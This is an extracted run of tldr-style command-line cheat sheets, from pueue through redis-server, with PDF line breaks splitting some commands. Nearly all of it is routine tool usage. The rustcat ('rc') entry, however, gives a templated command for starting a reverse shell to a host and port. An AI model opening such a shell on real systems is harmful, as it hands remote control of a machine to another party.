More information: https://github.com/Nukesor/pueue.

• Show the status of all tasks:

pueue status

• Show the status of a specific group:

pueue status --group {{group_name}}


pueue switch
Switches the queue position of two enqueued or stashed commands.

More information: https://github.com/Nukesor/pueue.

• Switch the priority of two tasks:

pueue switch {{task_id1}} {{task_id2}}


pueue
Pueue is a command-line task management tool for sequential and parallel execution of
long-running tasks.

Some subcommands such as pueue add have their own usage documentation.

More information: https://github.com/Nukesor/pueue.

• Show general help and available subcommands:

pueue --help

• Check the version of pueue:

pueue --version

• Execute a pueue subcommand:

pueue {{subcommand}}
pup
Command-line HTML parsing tool.

More information: https://github.com/ericchiang/pup.

• Transform a raw HTML file into a cleaned, indented, and colored format:

cat {{index.html}} | pup --color

• Filter HTML by element tag name:

cat {{index.html}} | pup '{{tag}}'

• Filter HTML by id:

cat {{index.html}} | pup '{{div#id}}'

• Filter HTML by attribute value:

cat {{index.html}} | pup '{{input[type="text"]}}'

• Print all text from the filtered HTML elements and their children:

cat {{index.html}} | pup '{{div}} text{}'

• Print HTML as JSON:

cat {{index.html}} | pup '{{div}} json{}'


puppet agent
Retrieves the client configuration from a Puppet server and applies it to the local host.

More information: https://puppet.com/docs/puppet/7/man/agent.html.

• Register a node at a Puppet server and apply the received catalog:

puppet agent --test --server {{puppetserver_fqdn}} --


serverport {{port}} --waitforcert {{poll_time}}

• Run the agent in the background (uses settings from puppet.conf):

puppet agent

• Run the agent once in the foreground, then exit:

puppet agent --test

• Run the agent in dry-mode:

puppet agent --test --noop

• Log every resource being evaluated (even if nothing is being changed):

puppet agent --test --evaltrace


puppet apply
Apply Puppet manifests locally.

More information: https://puppet.com/docs/puppet/7/man/apply.html.

• Apply a manifest:

puppet apply {{path/to/manifest}}

• Execute puppet code:

puppet apply --execute {{code}}

• Use a specific module and hiera config file:

puppet apply --modulepath {{path/to/directory}} --


hiera_config {{path/to/file}} {{path/to/manifest}}
puppet
Help to manage and automate the configuration of servers.

Some subcommands such as puppet agent have their own usage documentation.

More information: https://puppet.com/.

• Execute a Puppet subcommand:

puppet {{subcommand}}

• Check the Puppet version:

puppet --version

• Display help:

puppet --help

• Display help for a subcommand:

puppet help {{subcommand}}


pushd
Place a directory on a stack so it can be accessed later.

See also popd to switch back to original directory and dirs to display directory stack
contents.

• Switch to directory and push it on the stack:

pushd {{directory}}

• Switch first and second directories on the stack:

pushd

• Rotate stack by making the 5th element the top of the stack:

pushd +4
pv
Monitor the progress of data through a pipe.

More information: https://manned.org/pv.

• Print the contents of the file and display a progress bar:

pv {{file}}

• Measure the speed and amount of data flow between pipes (-s is optional):

command1 | pv -s {{expected_amount_of_data_for_eta}} |
command2

• Filter a file, see both progress and amount of output data:

pv -cN in {{big_text_file}} | grep {{pattern}} | pv -cN out >


{{filtered_file}}

• Attach to an already running process and see its file reading progress:

pv -d {{PID}}

• Read an erroneous file, skip errors as dd conv=sync,noerror would:

pv -EE {{path/to/faulty_media}} > image.img

• Stop reading after reading specified amount of data, rate limit to 1K/s:

pv -L 1K -S {{maximum_file_size_to_be_read}}
pve-firewall
Manage Proxmox VE Firewall.

More information: https://pve.proxmox.com/wiki/Firewall.

• Compile and print all firewall rules:

pve-firewall compile

• Show information about the local network:

pve-firewall localnet

• Restart the Proxmox VE Firewall service:

pve-firewall restart

• Start the Proxmox VE Firewall service:

pve-firewall start

• Stop the Proxmox VE Firewall service:

pve-firewall stop

• Simulate all firewall rules:

pve-firewall simulate

• Show the status of Proxmox VE Firewall:

pve-firewall status
pvecm
Proxmox VE Cluster Manager.

More information: https://pve.proxmox.com/pve-docs/pvecm.1.html.

• Add the current node to an existing cluster:

pvecm add {{hostname_or_ip}}

• Add a node to the cluster configuration (internal use):

pvecm addnode {{node}}

• Return the version of the cluster join API available on this node:

pvecm apiver

• Generate new cluster configuration:

pvecm create {{clustername}}

• Remove a node from the cluster configuration:

pvecm delnode {{node}}

• Display the local view of the cluster nodes:

pvecm nodes

• Display the local view of the cluster status:

pvecm status
pveperf
A benchmarking tool in Proxmox Server. Gather CPU and hard disk performance data for
the hard disk.

More information: https://pve.proxmox.com/pve-docs/pveperf.1.html.

• Show CPU and hard disk performance data for the hard disk mounted at /:

pveperf
pwd
Print name of current/working directory.

More information: https://www.gnu.org/software/coreutils/pwd.

• Print the current directory:

pwd

• Print the current directory, and resolve all symlinks (i.e. show the "physical" path):

pwd --physical

• Print the current logical directory:

pwd --logical
pwgen
Generate pronounceable passwords.

• Generate random password with s[y]mbols:

pwgen -y {{length}}

• Generate secure, hard-to-memorize passwords:

pwgen -s {{length}}

• Generate password with at least one capital letter in them:

pwgen -c {{length}}
pwsh
PowerShell Core is a cross-platform automation and configuration tool/framework.

More information: https://docs.microsoft.com/powershell/.

• Start an instance of PowerShell:

pwsh

• Execute a script and then exit:

pwsh -File {{path/to/file.ps1}}

• Set the execution policy for the current session:

pwsh -ExecutionPolicy {{AllSigned|Bypass|Default|


RemoteSigned|Restricted|Undefined|Unrestricted}}

• Execute a command and then exit:

pwsh -Command {{command}}


py-spy
A sampling profiler for Python programs.

More information: https://github.com/benfred/py-spy.

• Show a live view of the functions that take the most execution time of a running
process:

py-spy top --pid {{pid}}

• Start a program and show a live view of the functions that take the most execution
time:

py-spy top -- python {{path/to/file.py}}

• Produce an SVG flame graph of the function call execution time:

py-spy record -o {{path/to/profile.svg}} --pid {{pid}}

• Dump the call stack of a running process:

py-spy dump --pid {{pid}}


pycodestyle
A tool to check Python code against PEP 8 style conventions.

More information: https://pycodestyle.readthedocs.io.

• Check the style of a single file:

pycodestyle {{file.py}}

• Check the style of multiple files:

pycodestyle {{file1.py}} {{file2.py}} {{file3.py}}

• Show only the first occurrence of an error:

pycodestyle --first {{file.py}}

• Show the source code for each error:

pycodestyle --show-source {{file.py}}

• Show the specific PEP 8 text for each error:

pycodestyle --show-pep8 {{file.py}}


pyenv virtualenv
Create virtual environments based on one's installed Python distributions.

More information: https://github.com/pyenv/pyenv-virtualenv.

• Create a new Python 3.6.6 virtual environment:

pyenv virtualenv {{3.6.6}} {{virtualenv_name}}

• List all existing virtual environments:

pyenv virtualenvs

• Activate a virtual environment:

pyenv activate {{virtualenv_name}}

• Deactivate the virtual environment:

pyenv deactivate
pyenv
Switch between multiple versions of Python easily.

More information: https://github.com/pyenv/pyenv.

• List all available commands:

pyenv commands

• List all Python versions under the ${PYENV_ROOT}/versions directory:

pyenv versions

• Install a Python version under the ${PYENV_ROOT}/versions directory:

pyenv install {{2.7.10}}

• Uninstall a Python version under the ${PYENV_ROOT}/versions directory:

pyenv uninstall {{2.7.10}}

• Set Python version to be used globally in the current machine:

pyenv global {{2.7.10}}

• Set Python version to be used in the current directory and all directories below it:

pyenv local {{2.7.10}}


pyflakes
Checks Python source code files for errors.

More information: https://pypi.org/project/pyflakes.

• Check a single Python file:

pyflakes check {{path/to/file}}.py

• Check Python files in a specific directory:

pyflakes checkPath {{path/to/directory}}

• Check Python files in a directory recursively:

pyflakes checkRecursive {{path/to/directory}}

• Check all Python files found in multiple directories:

pyflakes iterSourceCode {{path/to/directory_1}} {{path/to/


directory_2}}
pygmentize
Python-based syntax highlighter.

More information: https://pygments.org/docs/cmdline/.

• Highlight file syntax and print to standard output (language is inferred from the
file extension):

pygmentize {{file.py}}

• Explicitly set the language for syntax highlighting:

pygmentize -l {{javascript}} {{input_file}}

• List available lexers (processors for input languages):

pygmentize -L lexers

• Save output to a file in HTML format:

pygmentize -f html -o {{output_file.html}} {{input_file.py}}

• List available output formats:

pygmentize -L formatters

• Output an HTML file, with additional formatter options (full page, with line
numbers):

pygmentize -f html -O "full,linenos=True" -o


{{output_file.html}} {{input_file}}
pylint
A Python code linter.

More information: https://pylint.pycqa.org/en/latest/.

• Show lint errors in a file:

pylint {{path/to/file.py}}

• Lint a file and use a configuration file (usually named pylintrc):

pylint --rcfile {{path/to/pylintrc}} {{path/to/file.py}}

• Lint a file and disable a specific error code:

pylint --disable {{C,W,no-error,design}} {{path/to/file}}


pypy
Fast and compliant alternative implementation of the Python language.

More information: https://doc.pypy.org.

• Start a REPL (interactive shell):

pypy

• Execute script in a given Python file:

pypy {{path/to/file.py}}

• Execute script as part of an interactive shell:

pypy -i {{path/to/file.py}}

• Execute a Python expression:

pypy -c "{{expression}}"

• Run library module as a script (terminates option list):

pypy -m {{module}} {{arguments}}

• Install a package using pip:

pypy -m pip install {{package_name}}

• Interactively debug a Python script:

pypy -m pdb {{path/to/file.py}}


python
Python language interpreter.

More information: https://www.python.org.

• Start a REPL (interactive shell):

python

• Execute a specific Python file:

python {{path/to/file.py}}

• Execute a specific Python file and start a REPL:

python -i {{path/to/file.py}}

• Execute a Python expression:

python -c "{{expression}}"

• Run the script of the specified library module:

python -m {{module}} {{arguments}}

• Install a package using pip:

python -m {{pip}} install {{package_name}}

• Interactively debug a Python script:

python -m {{pdb}} {{path/to/file.py}}

• Start the built-in HTTP server on port 8000 in the current directory:

python -m {{http.server}}
python3
This command is an alias of python.

• View documentation for the original command:

tldr python
q
Execute SQL-like queries on .csv and .tsv files.

More information: https://harelba.github.io/q.

• Query .csv file by specifying the delimiter as ',':

q -d',' "SELECT * from {{path/to/file}}"

• Query .tsv file:

q -t "SELECT * from {{path/to/file}}"

• Query file with header row:

q -d{{delimiter}} -H "SELECT * from {{path/to/file}}"

• Read data from stdin; '-' in the query represents the data from stdin:

{{output}} | q "select * from -"

• Join two files (aliased as f1 and f2 in the example) on column c1, a common
column:

q "SELECT * FROM {{path/to/file}} f1 JOIN {{path/to/


other_file}} f2 ON (f1.c1 = f2.c1)"

• Format output using an output delimiter with an output header line (note:
command will output column names based on the input file header or the column
aliases overridden in the query):

q -D{{delimiter}} -O "SELECT {{column}} as {{alias}} from


{{path/to/file}}"
qcp
Copy files using the default text editor to define the filenames.

More information: https://www.nongnu.org/renameutils/.

• Copy a single file (open an editor with the source filename on the left and the
target filename on the right):

qcp {{source_file}}

• Copy multiple JPG files:

qcp {{*.jpg}}

• Copy files, but swap the positions of the source and the target filenames in the
editor:

qcp --option swap {{*.jpg}}


qdbus
Inter-Process Communication (IPC) and Remote Procedure Calling (RPC) mechanism
originally developed for Linux.

More information: https://doc.qt.io/qt-5/qtdbus-index.html.

• List available service names:

qdbus

• List object paths for a specific service:

qdbus {{service_name}}

• List methods, signals and properties available on a specific object:

qdbus {{service_name}} {{/path/to/object}}

• Execute a specific method passing arguments and display the returned value:

qdbus {{service_name}} {{/path/to/object}} {{method_name}}


{{argument1}} {{argument2}}

• Display the current brightness value in a KDE Plasma session:

qdbus {{org.kde.Solid.PowerManagement}} {{/org/kde/Solid/


PowerManagement/Actions/BrightnessControl}}
{{org.kde.Solid.PowerManagement.Actions.BrightnessControl.brightness}}

• Set a specific brightness to a KDE Plasma session:

qdbus {{org.kde.Solid.PowerManagement}} {{/org/kde/Solid/


PowerManagement/Actions/BrightnessControl}}
{{org.kde.Solid.PowerManagement.Actions.BrightnessControl.setBrightnes
{{5000}}

• Invoke volume up shortcut in a KDE Plasma session:

qdbus {{org.kde.kglobalaccel}} {{/component/kmix}}


{{invokeShortcut}} "{{increase_volume}}"

• Display help:

qdbus --help
qemu-img
Tool for Quick Emulator Virtual HDD image creation and manipulation.

More information: https://qemu.readthedocs.io/en/latest/tools/qemu-img.html.

• Create disk image with a specific size (in gigabytes):

qemu-img create {{image_name.img}} {{gigabytes}}G

• Show information about a disk image:

qemu-img info {{image_name.img}}

• Increase or decrease image size:

qemu-img resize {{image_name.img}} {{gigabytes}}G

• Dump the allocation state of every sector of the specified disk image:

qemu-img map {{image_name.img}}

• Convert a VMware .vmdk disk image to a KVM .qcow2 disk image:

qemu-img convert -f {{vmdk}} -O {{qcow2}} {{path/to/file/


foo.vmdk}} {{path/to/file/foo.qcow2}}
qemu
Generic machine emulator and virtualizer.

Supports a large variety of CPU architectures.

More information: https://www.qemu.org.

• Boot from image emulating i386 architecture:

qemu-system-i386 -hda {{image_name.img}}

• Boot from image emulating x64 architecture:

qemu-system-x86_64 -hda {{image_name.img}}

• Boot QEMU instance with a live ISO image:

qemu-system-i386 -hda {{image_name.img}} -cdrom


{{os_image.iso}} -boot d

• Specify amount of RAM for instance:

qemu-system-i386 -m 256 -hda image_name.img -cdrom os-


image.iso -boot d

• Boot from physical device (e.g. from USB to test bootable medium):

qemu-system-i386 -hda /dev/{{storage_device}}


qmv
Move files and directories using the default text editor to define the filenames.

More information: https://www.nongnu.org/renameutils/.

• Move a single file (open an editor with the source filename on the left and the
target filename on the right):

qmv {{source_file}}

• Move multiple JPG files:

qmv {{*.jpg}}

• Move multiple directories:

qmv -d {{path/to/directory1}} {{path/to/directory2}} {{path/


to/directory3}}

• Move all files and directories inside a directory:

qmv --recursive {{path/to/directory}}

• Move files, but swap the positions of the source and the target filenames in the
editor:

qmv --option swap {{*.jpg}}


qpdf
Versatile PDF transformation software.

More information: https://github.com/qpdf/qpdf.

• Extract pages 1-3, 5 and 6-10 from a PDF file and save them as another one:

qpdf --empty --pages {{input.pdf}} {{1-3,5,6-10}} --


{{output.pdf}}

• Merge (concatenate) all the pages of a list of PDF files and save the result as a new
PDF:

qpdf --empty --pages {{file1.pdf}} {{file2.pdf}}


{{file3.pdf}} -- {{output.pdf}}

• Merge (concatenate) given pages from a list of PDF files and save the result as a
new PDF:

qpdf --empty --pages {{file1.pdf}} {{1,6-8}} {{file2.pdf}}


{{3,4,5}} -- {{output.pdf}}

• Write each group of n pages to a separate output file with a given filename
pattern:

qpdf --split-pages=n {{input.pdf}} {{out_%d.pdf}}

• Rotate certain pages of a PDF with a given angle:

qpdf --rotate={{90:2,4,6}} --rotate={{180:7-8}} {{input.pdf}}


{{output.pdf}}

• Remove the password from a password-protected file:

qpdf --password={{password}} --decrypt {{input.pdf}}


{{output.pdf}}
qr
Generate QR codes in the terminal with ANSI VT-100 escape codes.

More information: https://github.com/lincolnloop/python-qrcode/.

• Generate a QR code:

echo "{{data}}" | qr

• Specify the error correction level (defaults to M):

echo "{{data}}" | qr --error-correction={{L|M|Q|H}}


qrencode
QR Code generator. Supports PNG and EPS.

More information: https://fukuchi.org/works/qrencode.

• Convert a string to a QR code and save to an output file:

qrencode -o {{path/to/output_file.png}} {{string}}

• Convert an input file to a QR code and save to an output file:

qrencode -o {{path/to/output_file.png}} -r {{path/to/


input_file}}

• Convert a string to a QR code and print it in terminal:

qrencode -t ansiutf8 {{string}}

• Convert input from pipe to a QR code and print it in terminal:

echo {{string}} | qrencode -t ansiutf8


qtcreator
Cross-platform IDE for Qt applications.

More information: https://doc.qt.io/qtcreator/creator-cli.html.

• Start Qt Creator:

qtcreator

• Start Qt Creator and restore the last session:

qtcreator -lastsession

• Start Qt Creator but don't load the specified plugin:

qtcreator -noload {{plugin}}

• Start Qt Creator but don't load any plugins:

qtcreator -noload {{all}}

• Start Qt Creator in presentation mode with pop-ups for keyboard shortcuts:

qtcreator -presentationMode

• Start Qt Creator and show the diff from a specific commit:

qtcreator -git-show {{commit}}


quilt
Tool to manage a series of patches.

More information: https://savannah.nongnu.org/projects/quilt.

• Import an existing patch from a file:

quilt import {{path/to/filename.patch}}

• Create a new patch:

quilt new {{filename.patch}}

• Add a file to the current patch:

quilt add {{path/to/file}}

• After editing the file, refresh the current patch with the changes:

quilt refresh

• Apply all the patches in the series file:

quilt push -a

• Remove all applied patches:

quilt pop -a
quota
Display users' disk space usage and allocated limits.

More information: https://manned.org/quota.

• Show disk quotas in human-readable units for the current user:

quota -s

• Verbose output (also display quotas on filesystems where no storage is allocated):

quota -v

• Quiet output (only display quotas on filesystems where usage is over quota):

quota -q

• Print quotas for the groups of which the current user is a member:

quota -g

• Show disk quotas for another user:

sudo quota -u {{username}}


qutebrowser
A keyboard-driven, vim-like browser based on PyQt5.

More information: https://qutebrowser.org/.

• Open qutebrowser with a specified storage directory:

qutebrowser --basedir {{path/to/directory}}

• Open a qutebrowser instance with temporary settings:

qutebrowser --set {{content.geolocation}} {{true|false}}

• Restore a named session of a qutebrowser instance:

qutebrowser --restore {{session_name}}

• Launch qutebrowser, opening all URLs using the specified method:

qutebrowser --target {{auto|tab|tab-bg|tab-silent|tab-bg-


silent|window|private-window}}

• Open qutebrowser with a temporary base directory and print logs to stdout as
JSON:

qutebrowser --temp-basedir --json-logging


R
R language interpreter.

More information: https://www.r-project.org.

• Start a REPL (interactive shell):

• Check R version:

R --version

• Start R in vanilla mode (i.e. a blank session that doesn't save the workspace at the
end):

R --vanilla

• Execute a file:

R -f {{path/to/file.R}}

• Execute an R expression and then exit:

R -e {{expr}}

• Run R with a debugger:

R -d {{debugger}}

• Check R packages from package sources:

R CMD check {{path/to/package_source}}


r2
This command is an alias of radare2.

• View documentation for the original command:

tldr radare2
r2e
Forwards RSS feeds to an email address.

Requires a configured sendmail or smtp setup.

More information: https://github.com/rss2email/rss2email.

• Create a new feed database that sends email to an email address:

r2e new {{email_address}}

• Subscribe to a feed:

r2e add {{feed_name}} {{feed_URI}}

• Send new stories to an email address:

r2e run

• List all feeds:

r2e list

• Delete a feed at a specified index:

r2e delete {{index}}


rabin2
Get information about binary files (ELF, PE, Java CLASS, Mach-O) - symbols, sections,
linked libraries, etc.

Comes bundled with radare2.

More information: https://manned.org/rabin2.

• Display general information about a binary (architecture, type, endianness):

rabin2 -I {{path/to/binary}}

• Display linked libraries:

rabin2 -l {{path/to/binary}}

• Display symbols imported from libraries:

rabin2 -i {{path/to/binary}}

• Display strings contained in the binary:

rabin2 -z {{path/to/binary}}

• Display the output in JSON:

rabin2 -j -I {{path/to/binary}}
racket
Racket language interpreter.

More information: https://racket-lang.org.

• Start a REPL (interactive shell):

racket

• Execute a Racket script:

racket {{path/to/script.rkt}}

• Execute a Racket expression:

racket --eval "{{expression}}"

• Run module as a script (terminates option list):

racket --lib {{module_name}} --main {{arguments}}

• Start a REPL (interactive shell) for the typed/racket hashlang:

racket -I typed/racket
raco
Racket command-line tools.

More information: https://docs.racket-lang.org/raco/.

• Install a package, automatically installing dependencies:

raco pkg install --auto {{package_source}}

• Install the current directory as a package:

raco pkg install

• Build (or rebuild) bytecode, documentation, executables, and metadata indexes for
collections:

raco setup {{collection1 collection2 ...}}

• Run tests in files:

raco test {{path/to/tests1.rkt path/to/tests2.rkt ...}}

• Search local documentation:

raco docs {{search_terms ...}}

• Display help:

raco help
radare2
A set of reverse engineering tools.

More information: https://radare.gitbooks.io/radare2book/.

• Open a file in write mode without parsing the file format headers:

radare2 -nw {{path/to/binary}}

• Debug a program:

radare2 -d {{path/to/binary}}

• Run a script before entering the interactive CLI:

radare2 -i {{path/to/script.r2}} {{path/to/binary}}

• Show help text for any command in the interactive CLI:

> {{radare2_command}}?

• Run a shell command from the interactive CLI:

> !{{shell_command}}

• Dump raw bytes of current block to a file:

> pr > {{path/to/file.bin}}


rails db
Various database-related subcommands for Ruby on Rails.

More information: https://guides.rubyonrails.org/command_line.html.

• Create databases, load the schema, and initialize with seed data:

rails db:setup

• Access the database console:

rails db

• Create the databases defined in the current environment:

rails db:create

• Destroy the databases defined in the current environment:

rails db:drop

• Run pending migrations:

rails db:migrate

• View the status of each migration file:

rails db:migrate:status

• Rollback the last migration:

rails db:rollback

• Fill the current database with data defined in db/seeds.rb:

rails db:seed
rails destroy
Destroy Rails resources.

More information: https://guides.rubyonrails.org/command_line.html#bin-rails-


destroy.

• List all available generators to destroy:

rails destroy

• Destroy a model named Post:

rails destroy model {{Post}}

• Destroy a controller named Posts:

rails destroy controller {{Posts}}

• Destroy a migration that creates Posts:

rails destroy migration {{CreatePosts}}

• Destroy a scaffold for a model named Post:

rails destroy scaffold {{Post}}


rails generate
Generate new Rails templates in an existing project.

More information: https://guides.rubyonrails.org/command_line.html#bin-rails-


generate.

• List all available generators:

rails generate

• Generate a new model named Post with attributes title and body:

rails generate model {{Post}} {{title:string}} {{body:text}}

• Generate a new controller named Posts with actions index, show, new and create:

rails generate controller {{Posts}} {{index}} {{show}}


{{new}} {{create}}

• Generate a new migration that adds a category attribute to an existing model


called Post:

rails generate migration {{AddCategoryToPost}}


{{category:string}}

• Generate a scaffold for a model named Post, predefining the attributes title and
body:

rails generate scaffold {{Post}} {{title:string}}


{{body:text}}
rails routes
List routes in a Rails application.

More information: https://guides.rubyonrails.org/routing.html.

• List all routes:

rails routes

• List all routes in an expanded format:

rails routes --expanded

• List routes partially matching URL helper method name, HTTP verb, or URL path:

rails routes -g {{posts_path|GET|/posts}}

• List routes that map to a specified controller:

rails routes -c {{posts|Posts|Blogs::PostsController}}


rails
A server-side MVC framework written in Ruby.

Some subcommands such as rails generate have their own usage documentation.

More information: https://guides.rubyonrails.org/command_line.html.

• Create a new rails project:

rails new "{{project_name}}"

• Start local server for current project on port 3000:

rails server

• Start local server for current project on a specified port:

rails server -p "{{port}}"

• Open console to interact with application from command-line:

rails console

• Check current version of rails:

rails --version
rainbowstream
Terminal-based Twitter client supporting realtime tweetstream, trends, sending, search,
favorites and user management.

Online help with h, up and down arrows for history, tab to auto-complete and 2-tab for
suggestion.

More information: https://github.com/orakaro/rainbowstream.

• Open RainbowStream:

rainbowstream

• Show your timeline (optional number of tweets to display, default is 5):

home [{{num_of_last_tweets}}]

• Show profile of a given user:

whois @{{user}}

• Tweet the message as-is:

t {{message}}

• Retweet the tweet with given ID (ID is beside the time):

rt {{tweet_id}}

• Favorite the tweet with given ID:

fav {{tweet_id}}

• Perform a search for a given word (with or without hashtag):

s {{word}}
ranger
Console file manager with VI key bindings.

More information: https://github.com/ranger/ranger.

• Launch ranger:

ranger

• Show only directories:

ranger --show-only-dirs

• Change the configuration directory:

ranger --confdir={{path/to/directory}}

• Change the data directory:

ranger --datadir={{path/to/directory}}

• Print CPU usage statistics on exit:

ranger --profile
rapper
The Raptor RDF parsing utility.

Part of the Raptor RDF Syntax Library.

More information: http://librdf.org/raptor/rapper.html.

• Convert an RDF/XML document to Turtle:

rapper -i rdfxml -o turtle {{file}}

• Count the number of triples in a Turtle file:

rapper -i turtle -c {{file}}


rar
The RAR archiver. Supports multi-volume archives that can be optionally self-
extracting.

More information: https://manned.org/rar.

• Archive 1 or more files:

rar a {{path/to/archive_name.rar}} {{path/to/file1}} {{path/


to/file2}} {{path/to/file3}}

• Archive a directory:

rar a {{path/to/archive_name.rar}} {{path/to/directory}}

• Split the archive into parts of equal size (50M):

rar a -v{{50M}} -R {{path/to/archive_name.rar}} {{path/to/


file_or_directory}}

• Password protect the resulting archive:

rar a -p{{password}} {{path/to/archive_name.rar}} {{path/to/


file_or_directory}}

• Encrypt file data and headers with password:

rar a -hp{{password}} {{path/to/archive_name.rar}} {{path/to/


file_or_directory}}

• Use a specific compression level (0-5):

rar a -m{{compression_level}} {{path/to/archive_name.rar}}


{{path/to/file_or_directory}}
rbac-lookup
Find roles and cluster roles attached to any user, service account or group name in your
Kubernetes cluster.

More information: https://github.com/reactiveops/rbac-lookup.

• View all RBAC bindings:

rbac-lookup

• View RBAC bindings that match a given expression:

rbac-lookup {{search_term}}

• View all RBAC bindings along with the source role binding:

rbac-lookup -o wide

• View all RBAC bindings filtered by subject:

rbac-lookup -k {{user|group|serviceaccount}}

• View all RBAC bindings along with IAM roles (if you are using GKE):

rbac-lookup --gke
rbash
Restricted Bash shell, equivalent to bash --restricted.

Does not permit changing the working directory, redirecting command output, or
modifying environment variables, among other things.

See also histexpand for history expansion.

More information: https://www.gnu.org/software/bash/manual/html_node/The-


Restricted-Shell.

• Start an interactive shell session:

rbash

• Execute a command and then exit:

rbash -c "{{command}}"

• Execute a script:

rbash {{path/to/script.sh}}

• Execute a script, printing each command before executing it:

rbash -x {{path/to/script.sh}}

• Execute commands from a script, stopping at the first error:

rbash -e {{path/to/script.sh}}

• Read and execute commands from stdin:

rbash -s
rbenv
A tool to easily install Ruby versions and manage application environments.

More information: https://github.com/rbenv/rbenv.

• Install a Ruby version:

rbenv install {{version}}

• Display a list of the latest stable versions for each Ruby:

rbenv install --list

• Display a list of installed Ruby versions:

rbenv versions

• Use a specific Ruby version across the whole system:

rbenv global {{version}}

• Use a specific Ruby version for an application/project directory:

rbenv local {{version}}

• Display the currently selected Ruby version:

rbenv version

• Uninstall a Ruby version:

rbenv uninstall {{version}}

• Display all Ruby versions that contain the specified executable:

rbenv whence {{executable}}


rbt
RBTools is a set of command-line tools for working with Review Board and RBCommons.

More information: https://www.reviewboard.org/docs/rbtools/dev/.

• Post changes to Review Board:

rbt post {{change_number}}

• Display the diff that will be sent to Review Board:

rbt diff

• Land a change in a local branch or on a review request:

rbt land {{branch_name}}

• Patch your tree with a change on a review request:

rbt patch {{review_request_id}}

• Set up RBTool to talk to a repository:

rbt setup-repo
rc
A modern simplistic port listener & reverse shell.

Similar to nc.

More information: https://github.com/robiot/rustcat/wiki/Basic-Usage.

• Start listening on a specific port:

rc -lp {{port}}

• Start a reverse shell:

rc {{host}} {{port}} -r {{shell}}


rcat
This command is an alias of rc.

• View documentation for the original command:

tldr rc
rclone
CLI program to copy/sync/move files and directories to and from many cloud services.

More information: https://rclone.org.

• List contents of a directory on an rclone remote:

rclone lsf {{remote_name}}:{{path/to/directory}}

• Copy file or directory from local source to remote destination:

rclone copy {{path/to/source_file_or_directory}}


{{remote_name}}:{{path/to/destination_directory}}

• Copy file or directory from remote source to local destination:

rclone copy {{remote_name}}:{{path/to/


source_file_or_directory}} {{path/to/destination_directory}}

• Sync local source to remote destination, changing the destination only:

rclone sync {{path/to/file_or_directory}} {{remote_name}}:


{{path/to/directory}}

• Move file or directory from local source to remote destination:

rclone move {{path/to/file_or_directory}} {{remote_name}}:


{{path/to/directory}}

• Delete remote file or directory (use --dry-run to test, remove it to actually


delete):

rclone --dry-run delete {{remote_name}}:{{path/to/


file_or_directory}}

• Mount rclone remote (experimental):

rclone mount {{remote_name}}:{{path/to/directory}} {{path/to/


mount_point}}

• Unmount rclone remote if CTRL-C fails (experimental):

fusermount -u {{path/to/mount_point}}
rdfind
Find files with duplicate content and get rid of them.

More information: https://rdfind.pauldreik.se.

• Identify all duplicates in a given directory and output a summary:

rdfind -dryrun true {{path/to/directory}}

• Replace all duplicates with hardlinks:

rdfind -makehardlinks true {{path/to/directory}}

• Replace all duplicates with symlinks/soft links:

rdfind -makesymlinks true {{path/to/directory}}

• Delete all duplicates and do not ignore empty files:

rdfind -deleteduplicates true -ignoreempty false {{path/to/


directory}}
react-native start
Command-line tools to start the React Native server.

More information: https://github.com/react-native-community/cli/blob/master/docs/


commands.md#start.

• Start the server that communicates with connected devices:

react-native start

• Start the metro bundler with a clean cache:

react-native start --reset-cache

• Start the server in a custom port (defaults to 8081):

react-native start --port {{3000}}

• Start the server in verbose mode:

react-native start --verbose

• Specify the maximum number of workers for transforming files (default is the
number of CPU cores):

react-native start --max-workers {{count}}

• Disable interactive mode:

react-native start --no-interactive


react-native
A framework for building native apps with React.

More information: https://reactnative.dev.

• Initialize a new React Native project in a directory of the same name:

react-native init {{project_name}}

• Start the metro bundler:

react-native start

• Start the metro bundler with a clean cache:

react-native start --reset-cache

• Build the current application and start it on a connected Android device or


emulator:

react-native run-android

• Build the current application and start it on an iOS simulator:

react-native run-ios

• Build the current application in release mode and start it on a connected


Android device or emulator:

react-native run-android --variant={{release}}

• Start logkitty and print logs to stdout:

react-native log-android

• Start tail system.log for an iOS simulator and print logs to stdout:

react-native log-ios
read
BASH builtin for retrieving data from standard input.

More information: https://manned.org/read.1p.

• Store data that you type from the keyboard:

read {{variable}}

• Store each of the next lines you enter as values of an array:

read -a {{array}}

• Specify the number of maximum characters to be read:

read -n {{character_count}} {{variable}}

• Use a specific character as a delimiter instead of a new line:

read -d {{new_delimiter}} {{variable}}

• Do not let backslash () act as an escape character:

read -r {{variable}}

• Display a prompt before the input:

read -p "{{Enter your input here: }}" {{variable}}

• Do not echo typed characters (silent mode):

read -s {{variable}}

• Read stdin and perform an action on every line:

while read line; do echo "$line"; done


readlink
Follow symlinks and get symlink information.

More information: https://www.gnu.org/software/coreutils/readlink.

• Get the actual file to which the symlink points:

readlink {{filename}}

• Get the absolute path to a file:

readlink -f {{filename}}
realpath
Display the resolved absolute path for a file or directory.

More information: https://www.gnu.org/software/coreutils/realpath.

• Display the absolute path for a file or directory:

realpath {{path/to/file_or_directory}}

• Require all path components to exist:

realpath --canonicalize-existing {{path/to/


file_or_directory}}

• Resolve ".." components before symlinks:

realpath --logical {{path/to/file_or_directory}}

• Disable symlink expansion:

realpath --no-symlinks {{path/to/file_or_directory}}

• Suppress error messages:

realpath --quiet {{path/to/file_or_directory}}


recsel
Print records from a recfile: a human-editable, plain text database.

More information: https://www.gnu.org/software/recutils/manual/recutils.html.

• Extract name and version field:

recsel -p name,version {{data.rec}}

• Use "~" to match a string with a given regular expression:

recsel -e "{{field_name}} ~ '{{regular_expression}}'


{{data.rec}}"

• Use a predicate to match a name and a version:

recsel -e "name ~ '{{regular_expression}}' && version ~


'{{regular_expression}}'" {{data.rec}}
rector
An automated tool for updating and refactoring PHP 5.3+ code.

More information: https://github.com/rectorphp/rector.

• Process a specific directory:

rector process {{path/to/directory}}

• Process a directory without applying changes (dry run):

rector process {{path/to/directory}} --dry-run

• Process a directory and apply coding standards:

rector process {{path/to/directory}} --with-style

• Display a list of available levels:

rector levels

• Process a directory with a specific level:

rector process {{path/to/directory}} --level {{level_name}}


redis-cli
Opens a connection to a Redis server.

More information: https://redis.io/topics/rediscli.

• Connect to the local server:

redis-cli

• Connect to a remote server on the default port (6379):

redis-cli -h {{host}}

• Connect to a remote server specifying a port number:

redis-cli -h {{host}} -p {{port}}

• Connect to a remote server specifying a URI:

redis-cli -u {{uri}}

• Specify a password:

redis-cli -a {{password}}

• Execute Redis command:

redis-cli {{redis_command}}

• Connect to the local cluster:

redis-cli -c
redis-server
Persistent key-value database.

More information: https://redis.io.

